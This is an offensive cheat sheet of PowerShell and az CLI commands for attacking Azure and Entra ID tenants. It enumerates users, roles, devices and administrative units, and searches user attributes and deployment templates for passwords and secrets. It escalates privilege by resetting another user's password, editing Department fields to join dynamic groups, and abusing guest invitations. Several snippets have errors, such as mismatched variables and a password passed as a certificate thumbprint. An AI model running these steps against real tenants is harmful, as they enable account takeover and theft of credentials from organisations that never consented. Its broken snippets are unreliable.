Azure - Attacking Users, Roles and Enterprise Apps

Connecting to Azure

Quick Start
Az, AzureAD, MG - Connect to All User/Pass
$user = ""
$pass = ""
$AppRegistrationName = ""
$TargetUsername = ""

$passwd = ConvertTo-SecureString $pass -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$user", $passwd)
Connect-AzureAD -Credential $creds
Connect-AzAccount -Credential $creds
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 
az cli - Alternate Auth Methods
1. Service Principal with Password

Authenticate using a Service Principal and a Password. Useful for automation scenarios.

  • <appId>: Application ID of the service principal.
  • <password>: Password for the service principal.
  • <tenant>: Azure tenant ID.
$tenant = ""
$appId = ""
$pass = ""

az login --service-principal -u $appId -p $pass --tenant $tenant
2. Service Principal with Certificate

Secure method of authenticating a service principal using a certificate.

  • <appId>: Application ID of the service principal.
  • /path/to/cert: Path to the certificate file.
  • <tenant>: Azure tenant ID.
$tenant = ""
$appId = ""
$cert = ".\cert.pfx"

az login --service-principal -u $appId --tenant $tenant --password $cert
3. Personal Access Token

Authenticate with a Personal Access Token tied to a specific user.

  • <username>: Azure username.
  • <personal-access-token>: Personal access token.
$user = ""
$pat = ""

az login --username <username> --password <personal-access-token>
4. Password

Authenticate with password, will prompt

  • <username>: Azure username.
  • <personal-access-token>: Personal access token.
$user = ""

az login --username 
5. Device Code Flow

Authenticate using the browser

  • <username>: Azure username.
  • <personal-access-token>: Personal access token.
az login --use-device-code

AzureAD Module - Alternate Auth Methods
1. Service Principal with Password

Authenticate using a Service Principal and a Password.

  • <appId>: Application ID of the service principal.
  • <password>: Password for the service principal.
  • <tenant>: Azure tenant ID.

$appId = "<appId>"
$pass = "$pwd"
Connect-AzureAd -TenantId $tenant -ApplicationId $appId -CertificateThumbprint $pass
2. Service Principal with Certificate

Authenticate using a Service Principal with a Certificate.

  • <appId>: Application ID of the service principal.
  • <certificateThumbprint>: Thumbprint of the certificate.
  • <tenant>: Azure tenant ID.
$tenant = "<tenant>"
$appId = "<appId>"
$certificateThumbprint = "<certificateThumbprint>"
Connect-AzureAd -TenantId $tenant -ApplicationId $appId -CertificateThumbprint $certificateThumbprint
3. User/Pass

Authenticate using credentials two ways

$creds = Get-Credential
Connect-AzureAD -Credential $creds

$user = Read-Host
$pass = Read-Host
$passwd = ConvertTo-SecureString $pass -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$user", $passwd)
Connect-AzureAD -Credential $creds
4. AccessToken

Authenticate using credentials two ways

Connect-AzureAD -AccountId <ID> -AadAccessToken $token -TenantId <TENANT ID>

Az Module - Alternate Auth Methods
Az Module - Service Principal
$clientId = ""
$tenantId = ""
$secret = ""
$securePassword = ConvertTo-SecureString $secret -AsPlainText -Force

$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $securePassword

# Connect to Azure with the service principal
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId

# Check out Role Assignment
Get-AzRoleAssignment -ServicePrincipalName $clientId

Whoami

az cli - Situational Awareness
# show current user
az ad signed-in-user show
az ad signed-in-user list-owned-objects

# set objId for later
$objId = ""

# save account details
az account list --output table
az account tenant list
az account subscription list

$tenant =""
$sub = ""

# list available resources
az resource list -o table
az ad sp list --show-mine
az ad app list --show-mine

# Get a token
az account get-access-token
az account get-access-token --resource-type ms-graph 
Az Module - Situational Awareness + Admin Units with MG
# TenantDetail
Get-AzContext -ListAvailable

# Get the current Azure context
$currentContext = Get-AzContext
$signedInUser = Get-AzADUser -UserPrincipalName $currentContext.Account.Id
Write-Output "Signed-in user's name: $($signedInUser.UserPrincipalName)"


# Check Subscriptions
$sub = Get-AzSubscription
$subId = $sub.Id
Write-Output "Subscription ID: $subId"
Write-Output ""
Write-Output "All subscriptions: "
$sub 

# Tenant
$tenant = Get-AzTenant
$tenantId = $tenant.Id
Write-Output "TenantId is: $tenantId"
Write-Output ""
Write-Output "All the tenants user is a member of: "
$tenant | fl *

# # Check our reach
# Get-AzResource

# # Check Roles
# Get-AzRoleAssignment

# Check All Our Resources and Role Assignments
$resources = Get-AzResource | Select-Object -ExpandProperty Name
foreach ($resourceName in $resources) {
    Write-Host "Resource: $resourceName"
    Get-AzRoleAssignment | Where-Object { $_.Scope -like "*$resourceName*" } | ForEach-Object {
        Write-Host "Role: $($_.RoleDefinitionName)
         Assigned to: $($_.SignInName, $_.DisplayName) 
         Scope: $($_.Scope)"
    }
}

# Get RoleDefinitions for All Role Assignments for All Resources we Have Access To
$resources = Get-AzResource
foreach ($resource in $resources) {
    Write-Host -ForegroundColor Yellow "We have at least Reader rights on Az Resource: $($resource.Name)"
    # Get role assignments for the resource
    $roleAssignments = Get-AzRoleAssignment | Where-Object { $_.Scope -eq $resource.ResourceId }
    foreach ($roleAssignment in $roleAssignments) {
        # Determine the appropriate identity name to display
        $identityName = if ($roleAssignment.SignInName) { $roleAssignment.SignInName } else { $roleAssignment.DisplayName }
        Write-Host "Role: $($roleAssignment.RoleDefinitionName)`nAssigned to: $identityName`nScope: $($roleAssignment.Scope)"

        # Get full role definition details
        $roleDefinition = Get-AzRoleDefinition -Id $roleAssignment.RoleDefinitionId
        Write-Host "Role Definition Details:"
        Write-Host "Name: $($roleDefinition.Name)"
        Write-Host "Id: $($roleDefinition.Id)"
        Write-Host "Description: $($roleDefinition.Description)"
        Write-Host "AssignableScopes: $($roleDefinition.AssignableScopes -join ', ')"
         Write-Host "Permissions:"
         foreach ($permission in $roleDefinition.Actions) {
            Write-Host $permission
         }

foreach ($dataAction in $permission.DataActions) {
    Write-Host $dataAction
}
        Write-Host "IsCustom: $($roleDefinition.IsCustom)"
        Write-Host "-------------------------------------------------"
    }
}

# Check for ServicePrincipals with interesting rights
$UserRoles = Get-AzureADDirectoryRole | ForEach-Object {
        
    $Role = $_
    $RoleDisplayName = $_.DisplayName
        
    $RoleMembers = Get-AzureADDirectoryRoleMember -ObjectID $Role.ObjectID
        
    ForEach ($Member in $RoleMembers) {
    $RoleMembership = [PSCustomObject]@{
            MemberName      = $Member.DisplayName
            MemberID        = $Member.ObjectID
            MemberOnPremID  = $Member.OnPremisesSecurityIdentifier
            MemberUPN       = $Member.UserPrincipalName
            MemberType      = $Member.ObjectType
            RoleID          = $Role.RoleTemplateId
            RoleDisplayName = $RoleDisplayName
     }
        
        $RoleMembership
        
    }    
}
$UserRoles | ?{$_.MemberType -eq "ServicePrincipal"}

# Check Specific Role Definition
#$RoleName = ""
#Get-AzRoleDefinition -Name $RoleName

# Switch to MG for AU Membership
Install-Module -Name Microsoft.Graph.Groups -Scope CurrentUser -AllowClobber -Force
Import-Module -Name Microsoft.Graph.Groups -Force

$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 

$administrativeUnits = Get-MgDirectoryAdministrativeUnit -All
$userId = $signedInUser.UserPrincipalName 
$memberFound = $false

# Check each Administrative Unit for user membership
foreach ($au in $administrativeUnits) {
    $members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id
    foreach ($member in $members) {
        if ($member.Id -eq $userId) {
            Write-Output "User $userId is a member of Administrative Unit: $($au.DisplayName)"
            $memberFound = $true
            break 
        }
    }
    if ($memberFound) { break }
}
if (-not $memberFound) {
    Write-Output "User $userId is not a member of any Administrative Units"
}
AzureAD Module - Situational Awareness (can Run Directly After Az using Same Variables)
$tok = Get-AzAccessToken
$graphtok = (Get-AzAccessToken -Resource "https://graph.windows.net").Token
# Connect-AzAccount -AccountId $signedInUser.UserPrincipalName -AccessToken $accessToken -MicrosoftGraphAccessToken $graphtok
$newAccessToken = $graphtok
Connect-AzureAD -AccountId $signedInUser.UserPrincipalName -AadAccessToken $newAccessToken

# session info
Get-AzureADCurrentSessionInfo

# Tenant info
$ten = Get-AzureADTenantDetail
$tenant = $ten.ObjectId

# All directory objects user is a member of
$acct = Get-AzureADCurrentSessionInfo
$user = $acct.Account.Id
$user = Get-AzureADUser -Filter "UserPrincipalName eq '$user'"
$objId = $user.ObjectId
Get-AzureADUserMembership -ObjectId $objId

# owned objects
Get-AzureADUserOwnedObject -ObjectId $objId

# Apps
$acct = Get-AzureADCurrentSessionInfo
$user = $acct.Account.Id
$myuser = Get-AzureADUser -Filter "UserPrincipalName eq '$user'"
$arrAppObjectId = @((Get-AzureADApplication).ObjectId) 
foreach($objectId in $arrAppObjectId){Get-AzureADApplicationOwner -ObjectId $objectId | Where-Object{$_.DisplayName -eq $myUser }}

# Check Role Membership
# Get-AzureADDirectoryRole | ForEach-Object { Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId } | Where-Object { $_.UserPrincipalName -eq "$user" }
$roles = Get-AzureADDirectoryRole
foreach ($role in $roles) {
    $members = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
    foreach ($member in $members) {
        if ($member.ObjectId -eq $user.ObjectId) {
            Write-Output "You are a member of the role: $($role.DisplayName)"
        }
    }
}

# Retrieve app role assignments for the user
$appRoles = Get-AzureADUserAppRoleAssignment -ObjectId $user.ObjectId

# App Role Details
$appRoles | fl *

# Display the service principal details for each app role assignment
foreach ($appRole in $appRoles) {
    $servicePrincipal = Get-AzureADServicePrincipal -ObjectId $appRole.ResourceId
    Write-Output "You have access to the app: $($servicePrincipal.DisplayName) with Role: $($appRole.Id) and ObjectID: $($appRole.ObjectId)"
}

# Search All User Attributes for a string like  'password'
$keyword = "password"
Get-AzureADUser -All $true | % {
    $Properties = $_
    $Properties.PSObject.Properties.Name | % {
        if ($Properties.$_ -match $keyword) {
            "$($Properties.UserPrincipalName)-$_-$($Properties.$_)"
        }
    }
}

# check all directory roles
Get-AzureADDirectoryRole 
Az Module - Detailed Role Information
# Get Detailed Role Definitions for All - Same as above but full details
$resources = Get-AzResource

$processedRoleDefinitions = @{}

foreach ($resource in $resources) {
    Write-Host "Resource: $($resource.Name)"
    
    # Retrieve role assignments for the current resource
    $roleAssignments = Get-AzRoleAssignment -Scope $resource.ResourceId
    
    foreach ($roleAssignment in $roleAssignments) {
        # Check if the role definition has already been processed
        if (-not $processedRoleDefinitions.ContainsKey($roleAssignment.RoleDefinitionId)) {
            # Retrieve and display the role definition if not already processed
            $roleDefinition = Get-AzRoleDefinition -Id $roleAssignment.RoleDefinitionId
            
            # Convert the role definition to a JSON string for full detail display
            $roleDefinitionJson = $roleDefinition | ConvertTo-Json -Depth 100
            Write-Host "Role Definition Details:`n$roleDefinitionJson"
            
            # Mark this role definition as processed
            $processedRoleDefinitions[$roleAssignment.RoleDefinitionId] = $true
        }
    }
}

# Get Role Assignments on a Resource By Name
Get-AzResource | select Name 
$resourceName = "processfile"
Get-AzRoleAssignment | Where-Object { $_.Scope -like "*$resourceName*" }

Az/MG/AzureAD - Combined Lazy Permissions Script

# TenantDetail
$contxt = Get-AzContext -ListAvailable
Write-Host -ForegroundColor Yellow "Available Tenants:"
$contxt

# Get the current Azure context
$currentContext = Get-AzContext
$signedInUser = Get-AzADUser -UserPrincipalName $currentContext.Account.Id
Write-Host -ForegroundColor Yellow "Signed-in user's name: $($signedInUser.UserPrincipalName)"


# Check Subscriptions
$sub = Get-AzSubscription
$subId = $sub.Id
Write-Host -ForegroundColor Yellow "Subscription ID: $subId"
Write-Host -ForegroundColor Yellow ""
Write-Host -ForegroundColor Yellow "All subscriptions: "
Write-Host -ForegroundColor Yellow $sub 

# Tenant
$tenant = Get-AzTenant
$tenantId = $tenant.Id
Write-Host -ForegroundColor Yellow "TenantId is: $tenantId"
Write-Host -ForegroundColor Yellow ""
Write-Host -ForegroundColor Yellow "All the tenants user is a member of: "
Write-Host -ForegroundColor Yellow $tenant | fl *

# Check All Our Resources and Role Assignments
$resources = Get-AzResource | Select-Object -ExpandProperty Name
foreach ($resourceName in $resources) {
    Write-Host -ForegroundColor Yellow "Resource: $resourceName"
    Get-AzRoleAssignment | Where-Object { $_.Scope -like "*$resourceName*" } | ForEach-Object {
        Write-Host -ForegroundColor Yellow "Role: $($_.RoleDefinitionName)
         Assigned to: $($_.SignInName, $_.DisplayName) 
         Scope: $($_.Scope)"
    }
}

# Get RoleDefinitions for All Role Assignments for All Resources we Have Access To
$resources = Get-AzResource
foreach ($resource in $resources) {
    Write-Host -ForegroundColor Yellow "We have at least Reader rights on Az Resource: $($resource.Name)"
    # Get role assignments for the resource
    $roleAssignments = Get-AzRoleAssignment | Where-Object { $_.Scope -eq $resource.ResourceId }
    foreach ($roleAssignment in $roleAssignments) {
        # Determine the appropriate identity name to display
        $identityName = if ($roleAssignment.SignInName) { $roleAssignment.SignInName } else { $roleAssignment.DisplayName }
        Write-Host -ForegroundColor Yellow "Role: $($roleAssignment.RoleDefinitionName)`nAssigned to: $identityName`nScope: $($roleAssignment.Scope)"

        # Get full role definition details
        $roleDefinition = Get-AzRoleDefinition -Id $roleAssignment.RoleDefinitionId
        Write-Host -ForegroundColor Yellow "Role Definition Details:"
        Write-Host -ForegroundColor Yellow "Name: $($roleDefinition.Name)"
        Write-Host -ForegroundColor Yellow "Id: $($roleDefinition.Id)"
        Write-Host -ForegroundColor Yellow "Description: $($roleDefinition.Description)"
        Write-Host -ForegroundColor Yellow "AssignableScopes: $($roleDefinition.AssignableScopes -join ', ')"
         Write-Host -ForegroundColor Yellow "Permissions:"
         foreach ($permission in $roleDefinition.Actions) {
            Write-Host -ForegroundColor Yellow $permission
         }

foreach ($dataAction in $permission.DataActions) {
    Write-Host -ForegroundColor Yellow $dataAction
}
        Write-Host -ForegroundColor Yellow "IsCustom: $($roleDefinition.IsCustom)"
        Write-Host -ForegroundColor Yellow "-------------------------------------------------"
    }
}

# Check Specific Role Definition
#$RoleName = ""
#Get-AzRoleDefinition -Name $RoleName

# Switch to MG for AU Membership
Install-Module -Name Microsoft.Graph.Groups -Scope CurrentUser -AllowClobber -Force
Import-Module -Name Microsoft.Graph.Groups -Force

$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 

$administrativeUnits = Get-MgDirectoryAdministrativeUnit -All
$userId = $signedInUser.UserPrincipalName 
$memberFound = $false

# Check each Administrative Unit for user membership
foreach ($au in $administrativeUnits) {
    $members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id
    foreach ($member in $members) {
        if ($member.Id -eq $userId) {
            Write-Host -ForegroundColor Yellow "User $userId is a member of Administrative Unit: $($au.DisplayName)"
            $memberFound = $true
            break 
        }
    }
    if ($memberFound) { break }
}
if (-not $memberFound) {
    Write-Host -ForegroundColor Yellow "User $userId is not a member of any Administrative Units"
}

# AzureAD Section
$tok = Get-AzAccessToken
$graphtok = (Get-AzAccessToken -Resource "https://graph.windows.net").Token
# Connect-AzAccount -AccountId $signedInUser.UserPrincipalName -AccessToken $accessToken -MicrosoftGraphAccessToken $graphtok
$newAccessToken = $graphtok
Connect-AzureAD -AccountId $signedInUser.UserPrincipalName -AadAccessToken $newAccessToken

# session info
Get-AzureADCurrentSessionInfo

# Tenant info
$ten = Get-AzureADTenantDetail
$tenant = $ten.ObjectId

# All directory objects user is a member of
$acct = Get-AzureADCurrentSessionInfo
$user = $acct.Account.Id
$user = Get-AzureADUser -Filter "UserPrincipalName eq '$user'"
$objId = $user.ObjectId
$membership = Get-AzureADUserMembership -ObjectId $objId
Write-Host -ForegroundColor Yellow "All AAD object Memberships: "
Write-Host -ForegroundColor Yellow  $membership

# Check what the user owns
Get-AzureADUserOwnedObject -ObjectId $objId

# Check Role Membership
# Get-AzureADDirectoryRole | ForEach-Object { Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId } | Where-Object { $_.UserPrincipalName -eq "$user" }
$roles = Get-AzureADDirectoryRole
foreach ($role in $roles) {
    $members = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
    foreach ($member in $members) {
        if ($member.ObjectId -eq $user.ObjectId) {
            Write-Host -ForegroundColor Yellow "You are a member of the role: $($role.DisplayName)"
        }
    }
}

# Retrieve app role assignments for the user
$appRoles = Get-AzureADUserAppRoleAssignment -ObjectId $user.ObjectId

# App Role Details
# $appRoles | fl *

# Display the service principal details for each app role assignment
foreach ($appRole in $appRoles) {
    $servicePrincipal = Get-AzureADServicePrincipal -ObjectId $appRole.ResourceId
    Write-Host -ForegroundColor Yellow "You have access to the app: $($servicePrincipal.DisplayName) with Role: $($appRole.Id) and ObjectID: $($appRole.ObjectId)"
}
Write-Host -ForegroundColor DarkBlue  'For Full App Role details run: ' 
Write-Host -ForegroundColor DarkYellow '$appRoles = Get-AzureADUserAppRoleAssignment -ObjectId $user.ObjectId; $appRoles | fl *'

# check all directory roles
# $DirRoles = Get-AzureADDirectoryRole 
# Write-Host -ForegroundColor Yellow "All Directory Roles: $DirRoles"

# User Properties
Write-Host "Searching for 'password' 'key(s)' and 'admin' in User Properties"
# Search All User Attributes for a string like  'password'
$keyword = "password"
Get-AzureADUser -All $true | % {
    $Properties = $_
    $Properties.PSObject.Properties.Name | % {
        if ($Properties.$_ -match $keyword) {
            "$($Properties.UserPrincipalName)-$_-$($Properties.$_)"
        }
    }
}

$keyword = "admin"
Get-AzureADUser -All $true | % {
    $Properties = $_
    $Properties.PSObject.Properties.Name | % {
        if ($Properties.$_ -match $keyword) {
            "$($Properties.UserPrincipalName)-$_-$($Properties.$_)"
        }
    }
}

$keyword = "key"
Get-AzureADUser -All $true | % {
    $Properties = $_
    $Properties.PSObject.Properties.Name | % {
        if ($Properties.$_ -match $keyword) {
            "$($Properties.UserPrincipalName)-$_-$($Properties.$_)"
        }
    }
}

$keyword = "keys"
Get-AzureADUser -All $true | % {
    $Properties = $_
    $Properties.PSObject.Properties.Name | % {
        if ($Properties.$_ -match $keyword) {
            "$($Properties.UserPrincipalName)-$_-$($Properties.$_)"
        }
    }
}

Az - Get All Deployments/Templates and search ‘CommandToExecute’ for secrets

If Get-AzResource gives nothing, see about Resource Groups, you may have access to Deployment History and some contain secrets.

$resourceGroups = Get-AzResourceGroup

# Loop through each resource group
foreach ($resourceGroup in $resourceGroups) {
    Write-Output "Processing resource group: $($resourceGroup.ResourceGroupName)"

    # Try to get deployments for the current resource group
    try {
        $deployments = Get-AzResourceGroupDeployment -ResourceGroupName $resourceGroup.ResourceGroupName
        if ($deployments) {
            foreach ($deployment in $deployments) {
                Write-Output "  Getting template for deployment: $($deployment.DeploymentName)"
                
                # Construct the filename using the resource group name and deployment name
                $filename = "$($resourceGroup.ResourceGroupName)_$($deployment.DeploymentName).json"
                # Use Get-Location to dynamically get the current directory and construct the path
                $path = Join-Path (Get-Location) $filename

                # Get the template for the current deployment and save it to the file
                # Use -Force to overwrite existing files without prompting
                Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $resourceGroup.ResourceGroupName -DeploymentName $deployment.DeploymentName -Path $path -Force

                # Check Command to Execute
                Write-Output "Printing CommandToExecute field."
                (cat $path |ConvertFrom-Json |select -ExpandProperty Resources).resources.Properties.Settings.CommandToExecute

                # Output the path to indicate where the file was saved
                Write-Output "Template saved to: $path"
            }
        } else {
            Write-Output "  No deployments found in this resource group."
        }
    } catch {
        Write-Output "  Error retrieving deployments for resource group: $($resourceGroup.ResourceGroupName)"
    }
}

Enumerating Users and Groups

az cli - Basic Enumeration
az ad user list --output table
az ad group list 
az ad group list --query "[].[displayName]" -o table
az ad sp list --all
AzureAD - look for a user with ‘admin’ in the DisplayName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"}
AzureAD - List all the attributes for a user
Get-AzureADUser -ObjectId $objId | fl * 

Get-AzureADUser -ObjectId $objId | %{$_.PSObject.Properties.Name} 
AzureAD - Check what a user Owns
Get-AzureADUserOwnedObject -ObjectId $objId
AzureAD - Check Users Devices
Get-AzureADUserRegisteredDevice -ObjectId $objId
Get-AzureADUserOwnedDevice -ObjectId $objId
AzureAd - Check All Devices
# get all registered and Joined
Get-AzureADDevice -All $true | fl *

# Get Device Config Objects
Get-AzureADDeviceConfiguration | fl *

# Get Intune Devices
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"
AzureAD - Search attributes for all users that contain the string “password”
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
AzureAD - User Created Objects
Get-AzureADUser | Get-AzureADUserCreatedObject
AzureAD - Get a Users Groups and Roles
Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership

Get-AzureADUserMembership -ObjectId $objId
AzureAD - Get On-Prem Users and Cloud Users
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} 
AzureAd - Get AzureAD Only Groups
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
AzureAd - Get All Groups Synced from On-Prem
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
AzureAD - Script to Gather Group Membership
$roleUsers = @() 
$roles=Get-AzureADMSGroup
 
ForEach($role in $roles) {
  $users=Get-AzureADGroupMember -ObjectId $role.Id
  ForEach($user in $users) {
    write-host $role.DisplayName, $user.DisplayName, $user.UserPrincipalName, $user.UserType
    $obj = New-Object PSCustomObject
    $obj | Add-Member -type NoteProperty -name GroupName -value ""
    $obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
    $obj | Add-Member -type NoteProperty -name UserEmailID -value ""
    $obj | Add-Member -type NoteProperty -name UserAccess -value ""
    $obj.GroupName=$role.DisplayName
    $obj.UserDisplayName=$user.DisplayName
    $obj.UserEmailID=$user.UserPrincipalName
    $obj.UserAccess=$user.UserType
    $roleUsers+=$obj
  }
}
$roleUsers
AzureAD - Check and Restore Deleted Groups
$deletedGroups = Get-AzureADMSDeletedGroup
$deletedGroups | fl *

# Filter deleted groups for a specific name
$targetGroupName = "IT Admins"
$filteredGroup = $deletedGroups | Where-Object { $_.DisplayName -like "*$targetGroupName*" }

# Display the filtered group
$filteredGroup | fl *

# Restore One by Id
Restore-AzureADMSDeletedDirectoryObject -Id $filteredGroup.Id

Roles, Admin Units and Templates

AzureAD - Find Custom Role Definitions in the AAD Tenant
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
Az - Find Custom RBAC Role Definitions on Azure side
Get-AzRoleDefinition | Where-Object { $_.IsCustom -eq $true } | Select-Object Name
AzureAD - Enumerate Administrative Units and Scoped Roles
# Get the Units
Get-AzureADMSAdministrativeUnit
$adminUnit = ""

# Get members of the administrative unit
$unitMembers = Get-AzureADMSAdministrativeUnitMember -id $adminUnit
Write-Output "Members of Admin Unit: $unitMembers"

# Get roles scoped in the admin unit
$roles = Get-AzureADMSScopedRoleMembership -id $adminUnit # | fl *
$roles.RoleId

# Check the role using the roleid
$RoleID = $roles.RoleId
Get-AzureADDirectoryRole -ObjectId $roleId
AzureAD - Get all role templates and directory roles, enumerate who has X role assigned
Get-AzureADDirectoryroleTemplate
Get-AzureADDirectoryRole

# Custom roles, may need AzureADPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName

Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -Filter "DisplayName eq 'User Access Administrator'" | Get-AzureADDirectoryRoleMember
AzureAD - Check Out Members of Privileged Roles
# Define an array of role names
$roles = @(
    "Global Reader",
    "Domain Name Administrator",
    "Cloud App Administrator",
    "Password Administrator",
    "Cloud Device Administrator",
    "Windows 365 Administrator",
    "Security Operator",
    "Security Administrator",
    "Security Reader",
    "Cloud Application Administrator",
    "Intune Administrator",
    "Conditional Access Administrator",
    "Privileged Role Administrator",
    "Azure AD Joined Device Local Administrator",
    "Helpdesk Administrator",
    "User Administrator",
    "Application Administrator",
    "Global Administrator"
)

# Create a hashtable to store the role names and their members
$roleMembers = @{}

# Iterate through the roles and retrieve their members
foreach ($role in $roles) {
    $members = Get-AzureADDirectoryRole -Filter "DisplayName eq '$role'" | Get-AzureADDirectoryRoleMember
    $roleMembers[$role] = $members
}

# Display the members for each role
foreach ($roleName in $roleMembers.Keys) {
    Write-Host "Members of '$roleName' role:"
    foreach ($member in $roleMembers[$roleName]) {
        Write-Host " - $($member.UserPrincipalName)"
    }
    Write-Host ""
}

AzureHound

Query to Resolve objectID to name

MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname

Pre-Built Cypher Queries In Bloodhound CE under ‘CYPHER’ Tab, click the Folder icon then Pre-Built Searches > Azure

List Resources

# All GAs
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p

# All KeyVaults
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

# Paths to keyVaults
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

Good cheatsheet

Queries from that cheatsheet in JSON format for import

Has an Azure bit


Abusing Guest Users, Administrative Units and Dynamic Groups for Privilege Escalation

AzureAD/MG - Get All Dynamic Groups and Add Ourselves to match the Rules
Import-module AzureADPreview
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}  | fl *

# $Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
# Switch to Graph to Get Group Details
Connect-MgGraph -AccessToken $Token
$dynamicGroups = Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')"
$dynamicGroups | Select-Object Id, DisplayName, Description, MembershipRule | Format-Table 

# Specify a Group Name
$groupName = "PqZtjNsuGRLKEbe"
$group = Get-MgGroup -All | Where-Object {$_.DisplayName -eq $groupName} | fl *
$groupdeets = $group | Out-String
Write-Host -ForegroundColor Yellow "Group details: $groupdeets"

# Add Properties
$UPN = ""
$MembershipTarget = "IT Vendors"
Set-AzADUser -UPNOrObjectId $UPN -Department $MembershipTarget 

Dynamic Group + AU - We’re in an AU and want to add another AU user to dynamic Group

$GROUP = "ASkvxbaozgdj4455341"
$au = "ASocrgxhuasw4455335"
$user = ""
$pass = ""

$AU = Get-MgDirectoryAdministrativeUnit -All | Where-Object {$_.DisplayName -eq "$auName"}

# Members of the AU, correlate with AzureAD user ObjectId
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id
foreach ($member in $members) {
    $user = Get-AzureADUser -ObjectId $member.Id
    Write-Output $user
}

# Select another Member of the AU
$targetUser = ""
$tpassword = "DankAssNewPassword1323!"
$securePassword = ConvertTo-SecureString -String $tpassword -AsPlainText -Force

# Set the new password without forcing the user to change it at next login
Set-AzureADUserPassword -ObjectId $targetUser -Password $securePassword -ForceChangePasswordNextLogin $false

# Connect As User
$tcreds = New-Object System.Management.Automation.PSCredential ("$targetUser", $tpassword)
Connect-AzureAD -Credential $creds

# Look for Group.. didnt get us what we needed
$dynamic = Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

# Ended up going into the portal, it was a hidden group with a department rule
$dept = "pwJySAHEZQvMaVF"

# Connect new TargetUSer to Az Module 
Connect-AzAccount -Credential $tcreds

# Target User has permissions to update Departments for Users
# We use TargetUser to Add the Dynamic Rule Key/ department value to OriginalUser. They will be added to the Dynamic group
$dept = ""
$originalUser = ""
Set-AzADUser -UPNOrObjectId $originalUser -Department $dept

Guest User/Dynamic Groups - AzureAD - Invite a Guest User, change AlternateEmail to match IT Vendors

Install-Module AzureADPreview -Force -AllowClobber
Import-Module AzureADPreview -Force
Connect-AzureAD

# Dynamic Groups Recon
# Ex. The rule is (user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}

# Invite your guest account
$email = ""
New-AzureADMSInvitation -InvitedUserEmailAddress $email -InviteRedirectUrl "https://portal.azure.com" -SendInvitationMessage $True -InvitedUserType "Guest"

# New Session - Once you accept access, as the guest user, you can assign an alternate email
Install-Module AzureADPreview
Import-Module AzureADPreview
Connect-AzureAD
$GuestObjId = ""
$newEmail = "itvendor@contractstunnas.com"
Get-AzureADUser -ObjectId $GuestObjId
Set-AzureADUser -ObjectId $GuestObjId -OtherMails $newEmail -Verbose
Guest User/Dynamic Group - Az/AzureAD - ‘Manual Snowballing’ PoC
Install-Module Az.Accounts
Install-Module AzureAD

# Connect With Your Home Account, get the guest TenantID
Connect-AzAccount
$tenant = Get-AzTenant
$tenant | fl *
$tenantid = Read-Host "Enter the guest tenant ID from the output above"
# $tenantid = $tenant.Id[1] # If the guest tenant is the second one in the list

# Next, we will request a token and use that to retrieve information about our user. Be sure to specify -TenantId so that we get a token for the guest tenant.
$newtoken = Get-AzAccessToken -TenantId $tenantid -Resource "https://graph.microsoft.com/"
$graphresponse = Invoke-RestMethod https://graph.microsoft.com/v1.0/me -Headers @{Authorization = "Bearer $($newtoken.token)"}
$graphresponse

# Check output for "ID" / Value is the Guest User objectId
$guestId = ""

# Now switch to AzureAD module, the Graph used directly will not give us the information
Connect-AzureAD -TenantId $tenantid

# We can enumerate Users now if we use the Guest ID
Get-AzureADUser -ObjectId $guestId | Select-Object -Property *

# Our Group Memberships too
Get-AzureADUserMembership -ObjectId $guestId

# We can use the commandlets ‘Get-AzureADGroupOwner’ and ‘Get-AzureADGroupMember’ to see who the owners and group members are.
$targetGroup = ""
Get-AzureADGroup -ObjectId $targetGroup
Get-AzureADGroupOwner -ObjectId $targetGroup
Get-AzureADGroupMember -ObjectId $targetGroup

